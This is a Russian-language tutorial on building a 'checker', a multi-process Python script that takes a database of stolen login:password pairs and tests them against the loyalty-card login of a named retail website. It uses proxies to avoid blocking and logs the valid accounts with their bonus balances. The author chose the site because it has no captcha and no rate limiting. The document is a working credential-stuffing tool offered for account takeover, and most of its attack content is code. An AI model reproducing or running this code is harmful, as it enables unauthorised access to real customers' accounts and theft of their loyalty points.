Как написать свой чекер
1) Python последней версии (необязательно, но лучше всегда качать свежую версию), прямая ссылка на скачивание последней версии: python
2) Если вы захотите на примере это статьи писать свой чекер на другой сайт, нужный вам, тогда вам понадобится среда разработки, для питона, лучшей и самой средой является Pycharm. Cкачать вы его можете с официального сайта JetBrains.
Я буду показывать как написать чекер на примере сайта спара, на нем нету капчи и он не банит за спам
Первым делом нам нужен валидный аккаунт на сайте спара. Идем на сайт вводим логин, пароль и теперь самое интересное. Отрываем консоль с помощью кнопки f12, переходим на вкладку networks, и теперь жмем Войти. Теперь в куче запросов ищем что-то похожее на login/ auth/ и что то, что похоже на запрос к скрипту авторизации, внизу мы должны увидеть наш пост запрос такого вида:
AUTH_FORM: Y
TYPE: AUTH
backurl: /local/ajax/user/auth/
USER_LOGIN: 899999999
username: 899999999
USER_PASSWORD: password123
USER_REMEMBER: Y
Login: Y
Жмем на кнопку view source и копируем строчку:
- AUTH_FORM=Y&TYPE=AUTH&backurl=%2Flocal%2Fajax%2Fuser%2Fauth%2F&USER_LOGIN=899999999&username=899999999&USER_PASSWORD=password123&USER_REMEMBER=Y&Login=Y
Пока что не выходим, теперь смотрим на страницу нашего профиля, мы тут видим имя и количество бонусов на карте.
Открываем в консоли html и копируем строчку с бонусами.
Теперь мы можем идти в Pycharm и начинать писать код. Запускаем среду и жмем Create new project.
После прогрузки и создания проекта переходим в File -> Setting -> Project Iterpreter.
Жмем плюсик с правой стороны окна и вбиваем в поиск requests, там на автомате у вас выберется нужная библиотека, жмете install package.
Теперь жмем на папку слева правой кнопкой мыши new -> python file -> выбираете имя вашего файла и создаете его.
Первое что нам нужно сделать импортировать нужные библиотеки для работы.
import requests from multiprocessing import Process, Queue, Value
Первая билиотека нам нужна для создания запросов к сайту и приему от него ответов. Вторая библиотека нужна для потоков. Начинаем писать скрипт.
if __name__ == "__main__": count = 100 #Количество потоков queue = Queue() #очередь откуда будут браться данные для наших потоков Так как у вас скорее всего будет база аккаунтов то я покажу как доставать аккаунты из этой базы with open("baza.txt", "r", encoding="utf-8") as fileToCHeck: for line in fileToCHeck.readlines(): queue.put(line) print(line+"\r") fileToCHeck.close()
Теперь в нашу очередь загружены наши строки. Запускаем наши потоки.
for i in range(0, count): proc = Process(target=checkValid, args=(queue,)) proc.start() queue.close() #Закрываем очередь
Теперь напишем функцию чека для наших потоков.
def checkValid(queue): while(queue.empty() == False): try: line = queue.get()[:-1] logPass = [] if ':' in line: logPass = line.split(':') if ';' in line: logPass = line.split(';') user_login = logPass[0] user_pass = logPass[1] data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login, #Вот и наш post запрос 'username': user_login, 'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'} s = requests.Session() s.get("https://myspar.ru/personal/") resp = s.post("https://myspar.ru/personal/?login=yes", data=data) try: bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text) bonuses = re.search(">.*<", bonuses.group(0)) bonuses = bonuses.group(0) file = open("checked.txt", "a") file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str( bonuses[1:-1] + "\n\n\n")) file.close() s.close() except: continue except: continue
1) Передаем в фунцию нашу очередь со строками.
2)Разбиваем строку и вырезаем символ переноса строки "\n".
line = queue.get()[:-1] logPass = [] if ':' in line: logPass = line.split(':') if ';' in line: logPass = line.split(';')
3) Формируем post запрос на основе запроса из начала и вставляем туда наши варьирующиеся значения, в данном случае это номер телефона и пароль.
4) Создаем сессию, которая на автомате будет принимать, сохранять и передавать между страницами куки.
Переходим сначала на главную страницу спара, чтобы получить первоначальные куки, чтобы показать что мы обычный пользователь, иначе 90% сайтов не дадут залогинится.
5) Теперь делаем post запрос к скрипту логина и передаем туда наши данные.
6) Сервер выдал нам html страницу, парсим ее на предмет строки с бонусами, если они нашлись, то значит аккаунт валид и мы записываем инфу с него в текстовик.
7) Закрываем файл, закрываем соединение и начинаем цикл сначала с новой строкой.
Как только очередь опустеет, потоки поочередно закончат свою работу.
Прокси
Если вы хотите использовать прокси в своем чекере, тогда возьмите пачку проксей, прочитайте их точно также из текстовика как и строки с лог:пассом и передавайте их потокам.
myProxies = {"https://223.241.2.199:4216"} s.get("https://myspar.ru/personal/", proxies=myProxies) resp = s.post("https://myspar.ru/personal/?login=yes", data=data,proxies=myProxies)
На выходе, если у вас были валидные аккаунты то в текстовом файле вы увидите это:
Phone: 8999999999
Password: password123
Bonuses: 233 бонуса